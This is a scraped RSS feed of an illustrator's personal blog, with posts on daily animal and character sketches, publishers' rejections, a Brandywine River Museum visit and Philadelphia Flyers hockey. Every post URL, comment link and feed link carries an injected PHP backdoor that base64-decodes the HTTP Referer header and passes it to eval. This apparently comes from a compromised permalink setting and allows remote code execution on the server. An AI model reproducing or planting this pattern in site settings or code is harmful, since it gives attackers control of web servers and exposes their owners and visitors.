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Stones http://www.josephblake.com/stones . . . Mon, 18 Aug 2008 23:20:47 +0000 http://wordpress.org/?v=2.6.1 en february http://www.josephblake.com/stones/2008/02/21/february/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2008/02/21/february/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 21 Feb 2008 23:15:19 +0000 Joseph http://www.josephblake.com/stones/?p=90 breadcrumb_sketch

]]> http://www.josephblake.com/stones/2008/02/21/february/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ pears http://www.josephblake.com/stones/2008/01/08/pears/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2008/01/08/pears/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 09 Jan 2008 00:04:16 +0000 Joseph http://www.josephblake.com/stones/?p=83 JosephBlake_pear

… for this morning’s sketches, I combined a few choice characteristics of a possum, a bear, and a bit of sloth.

Creating the look of my new character was difficult because I had so many options, and I wanted to make it believable. My first attempts resulted in spending too much time rendering a very boring, wanna-be realistic eye or paw.

The thought that helped me move past these initial distractions was designating a personality for my character. The first person that came into my head was my dad. He has always been happily pear shaped… so I drew pears.

Drawing my character came naturally now that I had a clear model in my head. I thought, “if my dad just woke up and was prowling for food, would he do this… if he walked on all fours, would he move like this?” It was a lot easier to see which sketches weren’t working now that my character felt real to me…

]]> http://www.josephblake.com/stones/2008/01/08/pears/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ one musical moment http://www.josephblake.com/stones/2008/01/05/one-musical-moment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2008/01/05/one-musical-moment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 05 Jan 2008 20:20:50 +0000 Joseph http://www.josephblake.com/stones/?p=77 … if I could be present, floating in the background of one musical moment in time, I’d want to witness U2 conceiving the song “With or Without You”.

The runner up moment would be experiencing Hans Zimmer’s musical score of Disney’s the Lion King for the first time.

Anyways, here are my character sketches for today. Hope your new year is treating you well…

JosephBlake_bird_sketches

]]> http://www.josephblake.com/stones/2008/01/05/one-musical-moment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ today’s character sketches http://www.josephblake.com/stones/2007/12/29/new-sketches/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/12/29/new-sketches/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 29 Dec 2007 12:44:05 +0000 Joseph http://www.josephblake.com/stones/?p=72 lambs_and_goats      pencil_sketches

]]> http://www.josephblake.com/stones/2007/12/29/new-sketches/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ * http://www.josephblake.com/stones/2007/12/25/66/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/12/25/66/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 26 Dec 2007 04:20:51 +0000 Joseph http://www.josephblake.com/stones/?p=66 … belly-full and very satisfied with this year’s Christmas.

sophia_bowhawk

And here are the new animal sketches…

kangaroo_sketches

]]> http://www.josephblake.com/stones/2007/12/25/66/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ grumpy faces and snow http://www.josephblake.com/stones/2007/12/06/grumpy-faces-and-snow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/12/06/grumpy-faces-and-snow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 06 Dec 2007 17:32:54 +0000 Joseph http://www.josephblake.com/stones/?p=61 … yesterday, I needed a breath of fresh air from my studio, so I visited the Brandywine River Museum. It is a treasure trove of original children’s book illustrations, including my favorite pictures by Maxfield Parrish, Howard Pyle, and N.C. Wyeth. I’d easily give up one of my dogs to have a conversation with these illustrators today.

Pencil study of a few N.C. Wyeth Pirates

pirates_sketches

(the Pirate faces remind me of my Grandfather)

We also had our first snow of the season in Philadelphia last night. Here is a picture for all of you who can’t leave the house without forgetting something, just like me…

forgetful_steps

]]> http://www.josephblake.com/stones/2007/12/06/grumpy-faces-and-snow/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ lions & girls http://www.josephblake.com/stones/2007/12/04/lions-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/12/04/lions-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 04 Dec 2007 15:36:32 +0000 Joseph http://www.josephblake.com/stones/?p=47 … sketches for this morning. Two beings who know they can be the most intimidating things ever…

lions_sketches

sketches

]]> http://www.josephblake.com/stones/2007/12/04/lions-girls/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ one new person, and one animal http://www.josephblake.com/stones/2007/11/28/one-new-person-and-one-animal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/11/28/one-new-person-and-one-animal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Nov 2007 01:15:59 +0000 Joseph http://www.josephblake.com/stones/?p=40 … a little while back I received my first rejection letter from one of the BIG STOMPERS in the children’s book publishing world. In the same week I was turned away by a children’s book illustrator rep, because I didn’t show enough faces in my pictures.

I felt like a freshmen art student again; in over my head in a burgeoning pool of clever people, but still ambitious to make better pictures and prove I belong. The words that rang especially true to me in those rejection letters were,

“… can you draw faces?; can you draw the same character with different expressions?; can you draw different ethnicities? Thank you for applying but we already have enough artists who can do all these things.”

I realized that my pictures and sketches didn’t answer a lot of basic questions. These dismissals encouraged me to draw at least one new person, and one animal character (mostly from life) every day.

(here’s a sampling of this mornings drawings)

rabbit_sketches

i_love_IceCream_sketches

I’m grateful for all the firsthand criticism that I received during that “kick in the pants” week. And I’m still very hopeful to find another open door to the story publishing community…

]]> http://www.josephblake.com/stones/2007/11/28/one-new-person-and-one-animal/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ thank you http://www.josephblake.com/stones/2007/11/21/thank-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/11/21/thank-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 21 Nov 2007 11:29:10 +0000 Joseph http://www.josephblake.com/stones/?p=26 … a while ago I said a prayer and I wasn’t sure if it would be answered, but I needed to say something to someone… And today, I randomly had a very good day. So I looked up at the sky and searched for a face to thank… but I couldn’t find one; not even a cloud to stretch around. But I said thank you anyways, and just pinned it up there…

]]> http://www.josephblake.com/stones/2007/11/21/thank-you/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Bring ‘em out, bring ‘em out, let’s see those pumpkins! http://www.josephblake.com/stones/2007/10/29/bring-em-out-bring-em-out-lets-see-those-pumpkins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/10/29/bring-em-out-bring-em-out-lets-see-those-pumpkins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 29 Oct 2007 12:25:00 +0000 Joseph http://www.josephblake.com/stones/?p=24 … unwanted pumpkins, good ol’ Windsor & Newton acrylic, and a belly full of pre-game candy kept me smiling this morning…

pumpkins

more_pumpkins

even_more_pumpkins

]]> http://www.josephblake.com/stones/2007/10/29/bring-em-out-bring-em-out-lets-see-those-pumpkins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Philadelphia Flyer’s hockey http://www.josephblake.com/stones/2007/10/04/philadelphia-flyers-hockey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.josephblake.com/stones/2007/10/04/philadelphia-flyers-hockey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 04 Oct 2007 14:20:35 +0000 Joseph http://www.josephblake.com/stones/?p=21 … new head coach John Stevens loads the gun this year with two bullies named Riley Cote and Ben Eager…

All hail the new skipper, Jason Smith, and our two new soft-spoken heroes Danny Briere and Marty Biron… we’re not worthy, we’re not worthy, we’re not worthy.

And also a big shout out to Peter Forsberg; you are a killer and a gentleman, and I can’t think of another former fly guy to whom we Philadelphia fans so readily extend our hearts.

Can’t forget to mention the Philadelphia Athlete/Man-crush runner-up of 2006, Simon Gagne… thanks for giving us a little dignity during last year’s abysmal, hiccup of a season…

Hopefully the Orange and the Black are not riddled with too many injuries this year…oops, time for the game; Let’s do it flyers…And in other news, fifteen caramel apples and a half of pumpkin pie have met an early demise; the Thanksgiving feast is only a month away; and the fightin’ Phillies beat the Mets.

I hope your new October is treating you well too…

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